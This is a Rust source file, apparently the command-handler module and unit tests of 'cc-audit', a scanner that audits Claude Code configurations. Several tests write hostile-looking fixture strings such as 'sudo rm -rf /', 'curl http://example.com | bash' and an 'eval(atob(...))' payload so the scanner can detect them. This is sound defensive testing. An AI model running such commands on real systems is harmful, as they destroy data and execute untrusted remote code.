1mod baseline;
7mod compare;
8mod config;
9mod fix;
10mod hook;
11mod hook_mode;
12mod mcp;
13mod pin;
14mod proxy;
15mod remote;
16mod report_fp;
17mod sbom;
18mod scan;
19
20use std::path::Path;
21use std::process::ExitCode;
22
23use crate::config::Config;
24
25pub use baseline::{
27 filter_against_baseline, handle_baseline, handle_check_drift, handle_save_baseline,
28};
29pub use compare::handle_compare;
30pub use config::{handle_init_config, handle_save_profile, handle_show_profile};
31pub use fix::handle_fix;
32pub use hook::handle_hook;
33pub use hook_mode::handle_hook_mode;
34pub use mcp::handle_mcp_server;
35pub use pin::{handle_pin, handle_pin_verify};
36pub use proxy::handle_proxy;
37pub use remote::{handle_awesome_claude_code_scan, handle_remote_list_scan, handle_remote_scan};
38pub use report_fp::handle_report_fp;
39pub use sbom::handle_sbom;
40pub use scan::{handle_check, run_normal_check_mode};
41
42pub fn require_config(
44 project_root: Option<&Path>,
45) -> Result<(Config, std::path::PathBuf), ExitCode> {
46 let load_result = Config::try_load(project_root);
47 if let Some(path) = load_result.path {
48 Ok((load_result.config, path))
49 } else {
50 eprintln!("Error: Configuration file not found.");
51 eprintln!();
52 eprintln!("cc-audit requires a configuration file (.cc-audit.yaml) to run.");
53 eprintln!("You can create one using:");
54 eprintln!();
55 eprintln!(" cc-audit init");
56 eprintln!();
57 eprintln!("Or specify a custom configuration file using:");
58 eprintln!();
59 eprintln!(" cc-audit check --config <path> <paths...>");
60 eprintln!();
61 Err(ExitCode::from(2))
62 }
63}
64
65#[derive(Debug, Clone, PartialEq)]
67pub enum HandlerResult {
68 Success,
69 Error(u8),
70}
71
72impl From<HandlerResult> for ExitCode {
73 fn from(result: HandlerResult) -> Self {
74 match result {
75 HandlerResult::Success => ExitCode::SUCCESS,
76 HandlerResult::Error(code) => ExitCode::from(code),
77 }
78 }
79}
80
81#[cfg(test)]
82mod tests {
83 use super::*;
84 use crate::{CheckArgs, Cli, HookAction};
85 use clap::Parser;
86 use std::fs;
87 use std::path::{Path, PathBuf};
88 use tempfile::TempDir;
89
90 fn create_test_cli(args: &[&str]) -> Cli {
91 let mut full_args = vec!["cc-audit", "check"];
92 full_args.extend(args);
93 Cli::parse_from(full_args)
94 }
95
96 fn create_test_check_args(paths: Vec<PathBuf>) -> CheckArgs {
97 CheckArgs {
98 paths,
99 ..Default::default()
100 }
101 }
102
103 fn create_test_config(dir: &Path) {
105 let config_content = "# Minimal test config\n";
106 fs::write(dir.join(".cc-audit.yaml"), config_content).unwrap();
107 }
108
109 #[test]
110 fn test_handler_result_success() {
111 let result = HandlerResult::Success;
112 let exit_code: ExitCode = result.into();
113 assert_eq!(exit_code, ExitCode::SUCCESS);
114 }
115
116 #[test]
117 fn test_handler_result_error() {
118 let result = HandlerResult::Error(2);
119 let exit_code: ExitCode = result.into();
120 assert_eq!(exit_code, ExitCode::from(2));
121 }
122
123 #[test]
124 fn test_handle_init_config_creates_file() {
125 let temp_dir = TempDir::new().unwrap();
126 let config_path = temp_dir.path().join(".cc-audit.yaml");
127
128 let result = handle_init_config(&config_path);
129 assert_eq!(result, ExitCode::SUCCESS);
130
131 assert!(config_path.exists());
132 }
133
134 #[test]
135 fn test_handle_init_config_creates_file_in_dir() {
136 let temp_dir = TempDir::new().unwrap();
137
138 let result = handle_init_config(temp_dir.path());
139 assert_eq!(result, ExitCode::SUCCESS);
140
141 let config_path = temp_dir.path().join(".cc-audit.yaml");
142 assert!(config_path.exists());
143 }
144
145 #[test]
146 fn test_handle_init_config_file_exists() {
147 let temp_dir = TempDir::new().unwrap();
148 let config_path = temp_dir.path().join(".cc-audit.yaml");
149 fs::write(&config_path, "existing content").unwrap();
150
151 let result = handle_init_config(&config_path);
152 assert_eq!(result, ExitCode::from(2));
153 }
154
155 #[test]
156 fn test_handle_hook_init_not_git_repo() {
157 let temp_dir = TempDir::new().unwrap();
158 let action = HookAction::Init {
159 path: temp_dir.path().to_path_buf(),
160 };
161
162 let result = handle_hook(action);
163 assert_eq!(result, ExitCode::from(2));
164 }
165
166 #[test]
167 fn test_handle_hook_remove_not_git_repo() {
168 let temp_dir = TempDir::new().unwrap();
169 let action = HookAction::Remove {
170 path: temp_dir.path().to_path_buf(),
171 };
172
173 let result = handle_hook(action);
174 assert_eq!(result, ExitCode::from(2));
175 }
176
177 #[test]
178 fn test_handle_baseline_empty_dir() {
179 let temp_dir = TempDir::new().unwrap();
180
181 let result = handle_baseline(&[temp_dir.path().to_path_buf()]);
182 assert_eq!(result, ExitCode::SUCCESS);
183
184 let baseline_path = temp_dir.path().join(".cc-audit-baseline.json");
185 assert!(baseline_path.exists());
186 }
187
188 #[test]
189 fn test_handle_save_baseline() {
190 let temp_dir = TempDir::new().unwrap();
191 let baseline_file = temp_dir.path().join("baseline.json");
192
193 fs::write(temp_dir.path().join("test.md"), "# Test").unwrap();
195
196 let result = handle_save_baseline(&[temp_dir.path().to_path_buf()], &baseline_file);
197 assert_eq!(result, ExitCode::SUCCESS);
198
199 assert!(baseline_file.exists());
200 }
201
202 #[test]
203 fn test_handle_check_drift_no_baseline() {
204 let temp_dir = TempDir::new().unwrap();
205 let args = create_test_check_args(vec![temp_dir.path().to_path_buf()]);
206
207 let result = handle_check_drift(&args);
208 assert_eq!(result, ExitCode::from(2));
209 }
210
211 #[test]
212 fn test_handle_check_drift_with_baseline() {
213 let temp_dir = TempDir::new().unwrap();
214 fs::write(temp_dir.path().join("test.md"), "# Test").unwrap();
215
216 handle_baseline(&[temp_dir.path().to_path_buf()]);
218
219 let args = create_test_check_args(vec![temp_dir.path().to_path_buf()]);
221 let result = handle_check_drift(&args);
222 assert!(result == ExitCode::SUCCESS || result == ExitCode::from(1));
225 }
226
227 #[test]
228 fn test_handle_show_profile_builtin() {
229 let result = handle_show_profile("default");
230 assert_eq!(result, ExitCode::SUCCESS);
231 }
232
233 #[test]
234 fn test_handle_show_profile_not_found() {
235 let result = handle_show_profile("nonexistent_profile_12345");
236 assert_eq!(result, ExitCode::from(2));
237 }
238
239 #[test]
240 fn test_handle_compare_wrong_args() {
241 let args = create_test_check_args(vec![PathBuf::from(".")]);
242 let result = handle_compare(&args, &[PathBuf::from(".")]);
243 assert_eq!(result, ExitCode::from(2));
244 }
245
246 #[test]
247 fn test_handle_compare_same_dirs() {
248 let temp_dir = TempDir::new().unwrap();
249 let args = create_test_check_args(vec![PathBuf::from(".")]);
250 let result = handle_compare(
251 &args,
252 &[temp_dir.path().to_path_buf(), temp_dir.path().to_path_buf()],
253 );
254 assert_eq!(result, ExitCode::SUCCESS);
255 }
256
257 #[test]
258 fn test_filter_against_baseline_file_not_found() {
259 use crate::test_utils::fixtures::create_test_result;
260
261 let result = create_test_result(vec![]);
262 let filtered = filter_against_baseline(result.clone(), Path::new("/nonexistent/path.json"));
263
264 assert_eq!(filtered.findings.len(), result.findings.len());
266 }
267
268 #[test]
269 fn test_filter_against_baseline_invalid_json() {
270 use crate::test_utils::fixtures::create_test_result;
271
272 let temp_dir = TempDir::new().unwrap();
273 let baseline_path = temp_dir.path().join("baseline.json");
274 fs::write(&baseline_path, "{ invalid json }").unwrap();
275
276 let result = create_test_result(vec![]);
277 let filtered = filter_against_baseline(result.clone(), &baseline_path);
278
279 assert_eq!(filtered.findings.len(), result.findings.len());
281 }
282
283 #[test]
284 fn test_filter_against_baseline_filters_findings() {
285 use crate::rules::{Category, Severity};
286 use crate::test_utils::fixtures::{create_finding, create_test_result};
287
288 let temp_dir = TempDir::new().unwrap();
289 let baseline_path = temp_dir.path().join("baseline.json");
290
291 let finding = create_finding(
293 "EX-001",
294 Severity::High,
295 Category::Exfiltration,
296 "Test finding",
297 "test.md",
298 1,
299 );
300
301 let baseline_result = create_test_result(vec![finding.clone()]);
303 let json = serde_json::to_string(&baseline_result).unwrap();
304 fs::write(&baseline_path, &json).unwrap();
305
306 let result = create_test_result(vec![finding]);
308 let filtered = filter_against_baseline(result, &baseline_path);
309
310 assert_eq!(filtered.findings.len(), 0);
311 }
312
313 #[test]
314 fn test_run_normal_mode_with_empty_dir() {
315 let temp_dir = TempDir::new().unwrap();
316 create_test_config(temp_dir.path());
317 let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
318 match &cli.command {
319 Some(crate::Commands::Check(args)) => {
320 let result = run_normal_check_mode(args);
321 assert_eq!(result, ExitCode::SUCCESS);
322 }
323 _ => panic!("Expected Check command"),
324 }
325 }
326
327 #[test]
328 fn test_run_normal_mode_warn_only() {
329 let temp_dir = TempDir::new().unwrap();
330 create_test_config(temp_dir.path());
331 fs::write(temp_dir.path().join("test.md"), "sudo rm -rf /").unwrap();
332
333 let cli = create_test_cli(&["--warn-only", temp_dir.path().to_str().unwrap()]);
334 match &cli.command {
335 Some(crate::Commands::Check(args)) => {
336 let result = run_normal_check_mode(args);
337 assert_eq!(result, ExitCode::SUCCESS);
338 }
339 _ => panic!("Expected Check command"),
340 }
341 }
342
343 #[test]
344 fn test_handle_fix_no_findings() {
345 let temp_dir = TempDir::new().unwrap();
346 let mut args = create_test_check_args(vec![temp_dir.path().to_path_buf()]);
347 args.fix_dry_run = true;
348
349 let result = handle_fix(&args);
350 assert_eq!(result, ExitCode::SUCCESS);
351 }
352
353 #[test]
354 fn test_handle_hook_init_in_git_repo() {
355 let temp_dir = TempDir::new().unwrap();
356 std::process::Command::new("git")
358 .args(["init"])
359 .current_dir(temp_dir.path())
360 .output()
361 .unwrap();
362
363 let action = HookAction::Init {
364 path: temp_dir.path().to_path_buf(),
365 };
366 let result = handle_hook(action);
367 assert_eq!(result, ExitCode::SUCCESS);
368 }
369
370 #[test]
371 fn test_handle_hook_remove_in_git_repo_not_installed() {
372 let temp_dir = TempDir::new().unwrap();
373 std::process::Command::new("git")
375 .args(["init"])
376 .current_dir(temp_dir.path())
377 .output()
378 .unwrap();
379
380 let action = HookAction::Remove {
381 path: temp_dir.path().to_path_buf(),
382 };
383 let result = handle_hook(action);
384 assert_eq!(result, ExitCode::from(2));
386 }
387
388 #[test]
389 fn test_handle_hook_remove_in_git_repo_installed() {
390 let temp_dir = TempDir::new().unwrap();
391 std::process::Command::new("git")
393 .args(["init"])
394 .current_dir(temp_dir.path())
395 .output()
396 .unwrap();
397
398 let init_action = HookAction::Init {
400 path: temp_dir.path().to_path_buf(),
401 };
402 handle_hook(init_action);
403
404 let remove_action = HookAction::Remove {
406 path: temp_dir.path().to_path_buf(),
407 };
408 let result = handle_hook(remove_action);
409 assert_eq!(result, ExitCode::SUCCESS);
410 }
411
412 #[test]
413 fn test_handle_init_config_with_specific_path() {
414 let temp_dir = TempDir::new().unwrap();
415 let config_path = temp_dir.path().join("custom-config.yaml");
416
417 let result = handle_init_config(&config_path);
418 assert_eq!(result, ExitCode::SUCCESS);
419
420 assert!(config_path.exists());
421 }
422
423 #[test]
424 fn test_run_normal_mode_strict() {
425 let temp_dir = TempDir::new().unwrap();
426 create_test_config(temp_dir.path());
427 let cli = create_test_cli(&["--strict", temp_dir.path().to_str().unwrap()]);
428 match &cli.command {
429 Some(crate::Commands::Check(args)) => {
430 let result = run_normal_check_mode(args);
431 assert_eq!(result, ExitCode::SUCCESS);
432 }
433 _ => panic!("Expected Check command"),
434 }
435 }
436
437 #[test]
438 fn test_handle_save_profile_and_load() {
439 let args = create_test_check_args(vec![PathBuf::from(".")]);
440 let result = handle_save_profile(&args, "test_profile_handlers_123", false);
441 assert_eq!(result, ExitCode::SUCCESS);
442
443 if let Ok(profile_path) = crate::Profile::load("test_profile_handlers_123") {
445 let _ = profile_path;
446 }
447 }
448
449 #[test]
450 fn test_handle_fix_with_findings() {
451 let temp_dir = TempDir::new().unwrap();
452 fs::write(temp_dir.path().join("test.md"), "permissions: \"*\"").unwrap();
454
455 let mut args = create_test_check_args(vec![temp_dir.path().to_path_buf()]);
456 args.fix_dry_run = true;
457 let result = handle_fix(&args);
458 let _ = result;
461 }
462
463 #[test]
464 fn test_handle_compare_with_different_findings() {
465 let temp_dir1 = TempDir::new().unwrap();
466 let temp_dir2 = TempDir::new().unwrap();
467
468 fs::write(temp_dir1.path().join("test.md"), "# Clean").unwrap();
470 fs::write(temp_dir2.path().join("test.md"), "sudo rm -rf /").unwrap();
471
472 let args = create_test_check_args(vec![PathBuf::from(".")]);
473 let result = handle_compare(
474 &args,
475 &[
476 temp_dir1.path().to_path_buf(),
477 temp_dir2.path().to_path_buf(),
478 ],
479 );
480 assert!(result == ExitCode::SUCCESS || result == ExitCode::from(1));
482 }
483
484 #[test]
485 fn test_filter_against_baseline_with_filtering() {
486 use crate::rules::{Category, Severity};
487 use crate::test_utils::fixtures::{create_finding, create_test_result};
488
489 let temp_dir = TempDir::new().unwrap();
490 let baseline_path = temp_dir.path().join("baseline.json");
491
492 let finding1 = create_finding(
494 "EX-001",
495 Severity::High,
496 Category::Exfiltration,
497 "Finding 1",
498 "file1.md",
499 1,
500 );
501 let baseline_result = create_test_result(vec![finding1.clone()]);
502 let json = serde_json::to_string(&baseline_result).unwrap();
503 fs::write(&baseline_path, &json).unwrap();
504
505 let finding2 = create_finding(
507 "EX-002",
508 Severity::High,
509 Category::Exfiltration,
510 "Finding 2",
511 "file2.md",
512 1,
513 );
514 let result = create_test_result(vec![finding1, finding2]);
515 let filtered = filter_against_baseline(result, &baseline_path);
516
517 assert_eq!(filtered.findings.len(), 1);
519 assert_eq!(filtered.findings[0].id, "EX-002");
520 }
521
522 #[test]
523 fn test_handle_init_config_default_path() {
524 let temp_dir = TempDir::new().unwrap();
526 let default_path = temp_dir.path().join(".cc-audit.yaml");
527
528 let result = handle_init_config(&default_path);
529 assert_eq!(result, ExitCode::SUCCESS);
530 assert!(default_path.exists());
531 }
532
533 #[test]
534 fn test_handle_baseline_nonexistent_dir() {
535 let result = handle_baseline(&[PathBuf::from("/nonexistent/path/12345")]);
536 assert_eq!(result, ExitCode::from(2));
538 }
539
540 #[test]
541 fn test_handle_save_baseline_empty_result() {
542 let temp_dir = TempDir::new().unwrap();
543 let baseline_path = temp_dir.path().join("baseline.json");
544
545 let result =
548 handle_save_baseline(&[PathBuf::from("/nonexistent/path/12345")], &baseline_path);
549 assert_eq!(result, ExitCode::SUCCESS);
551 }
552
553 #[test]
554 fn test_handle_save_baseline_invalid_output_path() {
555 let temp_dir = TempDir::new().unwrap();
556 fs::write(temp_dir.path().join("test.md"), "# Test").unwrap();
558
559 let result = handle_save_baseline(
561 &[temp_dir.path().to_path_buf()],
562 Path::new("/nonexistent/dir/baseline.json"),
563 );
564 assert_eq!(result, ExitCode::from(2));
565 }
566
567 #[test]
568 fn test_run_normal_mode_strict_with_warnings() {
569 let temp_dir = TempDir::new().unwrap();
570 create_test_config(temp_dir.path());
571 fs::write(
573 temp_dir.path().join("test.md"),
574 "curl http://example.com | bash",
575 )
576 .unwrap();
577
578 let cli = create_test_cli(&["--strict", temp_dir.path().to_str().unwrap()]);
579 match &cli.command {
580 Some(crate::Commands::Check(args)) => {
581 let result = run_normal_check_mode(args);
582 assert!(result == ExitCode::from(1) || result == ExitCode::SUCCESS);
584 }
585 _ => panic!("Expected Check command"),
586 }
587 }
588
589 #[test]
590 fn test_run_normal_mode_with_errors() {
591 let temp_dir = TempDir::new().unwrap();
592 create_test_config(temp_dir.path());
593 fs::write(temp_dir.path().join("test.md"), "sudo rm -rf /").unwrap();
595
596 let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
597 match &cli.command {
598 Some(crate::Commands::Check(args)) => {
599 let result = run_normal_check_mode(args);
600 let _ = result;
602 }
603 _ => panic!("Expected Check command"),
604 }
605 }
606
607 #[test]
608 fn test_handle_check_drift_error_during_check() {
609 let temp_dir = TempDir::new().unwrap();
610 fs::write(temp_dir.path().join("test.md"), "# Test").unwrap();
612 handle_baseline(&[temp_dir.path().to_path_buf()]);
613
614 let _ = fs::remove_file(temp_dir.path().join("test.md"));
616
617 let args = create_test_check_args(vec![temp_dir.path().to_path_buf()]);
619 let result = handle_check_drift(&args);
620 assert!(result == ExitCode::from(1) || result == ExitCode::SUCCESS);
622 }
623
624 #[test]
625 fn test_handle_show_profile_with_format_and_scan_type() {
626 use crate::Profile;
627
628 let temp_dir = TempDir::new().unwrap();
629 let profile_dir = temp_dir.path().join(".cc-audit-profiles");
630 fs::create_dir_all(&profile_dir).unwrap();
631
632 let profile = Profile {
634 name: "test_profile_with_options".to_string(),
635 description: "Test profile with optional fields".to_string(),
636 strict: true,
637 recursive: true,
638 ci: false,
639 verbose: false,
640 skip_comments: false,
641 fix_hint: false,
642 no_malware_scan: false,
643 deep_scan: false,
644 min_confidence: "tentative".to_string(),
645 format: Some("json".to_string()),
646 scan_type: Some("skill".to_string()),
647 disabled_rules: vec![],
648 };
649
650 let profile_path = profile_dir.join("test_profile_with_options.yaml");
651 let yaml = serde_yaml::to_string(&profile).unwrap();
652 fs::write(&profile_path, &yaml).unwrap();
653
654 let _ = handle_show_profile("strict"); }
658
659 #[test]
660 fn test_handle_fix_with_unfixable_findings() {
661 let temp_dir = TempDir::new().unwrap();
662 fs::write(
665 temp_dir.path().join("test.md"),
666 "eval(atob('c29tZUJhc2U2NA=='))",
667 )
668 .unwrap();
669
670 let mut args = create_test_check_args(vec![temp_dir.path().to_path_buf()]);
671 args.fix_dry_run = true;
672 let result = handle_fix(&args);
673 let _ = result;
676 }
677
678 #[test]
679 fn test_handle_compare_with_findings_in_first() {
680 let temp_dir1 = TempDir::new().unwrap();
681 let temp_dir2 = TempDir::new().unwrap();
682
683 fs::write(temp_dir1.path().join("bad.md"), "sudo rm -rf /").unwrap();
685 fs::write(temp_dir2.path().join("clean.md"), "# Nothing here").unwrap();
686
687 let args = create_test_check_args(vec![PathBuf::from(".")]);
688 let result = handle_compare(
689 &args,
690 &[
691 temp_dir1.path().to_path_buf(),
692 temp_dir2.path().to_path_buf(),
693 ],
694 );
695 let _ = result;
697 }
698
699 #[test]
700 fn test_handle_compare_with_findings_in_second() {
701 let temp_dir1 = TempDir::new().unwrap();
702 let temp_dir2 = TempDir::new().unwrap();
703
704 fs::write(temp_dir1.path().join("clean.md"), "# Nothing here").unwrap();
706 fs::write(temp_dir2.path().join("bad.md"), "sudo rm -rf /").unwrap();
707
708 let args = create_test_check_args(vec![PathBuf::from(".")]);
709 let result = handle_compare(
710 &args,
711 &[
712 temp_dir1.path().to_path_buf(),
713 temp_dir2.path().to_path_buf(),
714 ],
715 );
716 let _ = result;
718 }
719
720 #[test]
721 fn test_filter_against_baseline_with_risk_score() {
722 use crate::rules::{Category, Severity};
723 use crate::test_utils::fixtures::{create_finding, create_test_result};
724
725 let temp_dir = TempDir::new().unwrap();
726 let baseline_path = temp_dir.path().join("baseline.json");
727
728 let baseline_result = create_test_result(vec![]);
730 let json = serde_json::to_string(&baseline_result).unwrap();
731 fs::write(&baseline_path, &json).unwrap();
732
733 let finding = create_finding(
735 "EX-001",
736 Severity::High,
737 Category::Exfiltration,
738 "Test finding",
739 "test.md",
740 1,
741 );
742 let mut result = create_test_result(vec![finding]);
743 result.risk_score = Some(crate::RiskScore::from_findings(&result.findings));
744
745 let filtered = filter_against_baseline(result, &baseline_path);
746
747 assert!(filtered.risk_score.is_some());
749 }
750
751 #[test]
752 fn test_handle_baseline_save_error() {
753 let temp_dir = TempDir::new().unwrap();
755 let readonly_dir = temp_dir.path().join("readonly");
756 fs::create_dir(&readonly_dir).unwrap();
757 fs::write(readonly_dir.join("test.md"), "# Test").unwrap();
758
759 #[cfg(unix)]
761 {
762 use std::os::unix::fs::PermissionsExt;
763 let metadata = fs::metadata(&readonly_dir).unwrap();
764 let mut perms = metadata.permissions();
765 perms.set_mode(0o444);
766 let _ = fs::set_permissions(&readonly_dir, perms);
767
768 let result = handle_baseline(std::slice::from_ref(&readonly_dir));
769 let mut perms = metadata.permissions();
772 perms.set_mode(0o755);
773 let _ = fs::set_permissions(&readonly_dir, perms);
774 let _ = result;
775 }
776 }
777
778 #[test]
779 fn test_run_normal_mode_passed_false() {
780 let temp_dir = TempDir::new().unwrap();
781 create_test_config(temp_dir.path());
782 fs::write(temp_dir.path().join("test.md"), "allowed_tools:\n - \"*\"").unwrap();
784
785 let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
786 match &cli.command {
787 Some(crate::Commands::Check(args)) => {
788 let result = run_normal_check_mode(args);
789 let _ = result;
791 }
792 _ => panic!("Expected Check command"),
793 }
794 }
795
796 #[test]
797 fn test_handle_check_drift_with_drift() {
798 let temp_dir = TempDir::new().unwrap();
799 fs::write(temp_dir.path().join("test.md"), "# Original").unwrap();
800
801 handle_baseline(&[temp_dir.path().to_path_buf()]);
803
804 fs::write(temp_dir.path().join("test.md"), "# Modified content").unwrap();
806
807 let args = create_test_check_args(vec![temp_dir.path().to_path_buf()]);
809 let result = handle_check_drift(&args);
810 assert!(result == ExitCode::from(1) || result == ExitCode::SUCCESS);
812 }
813}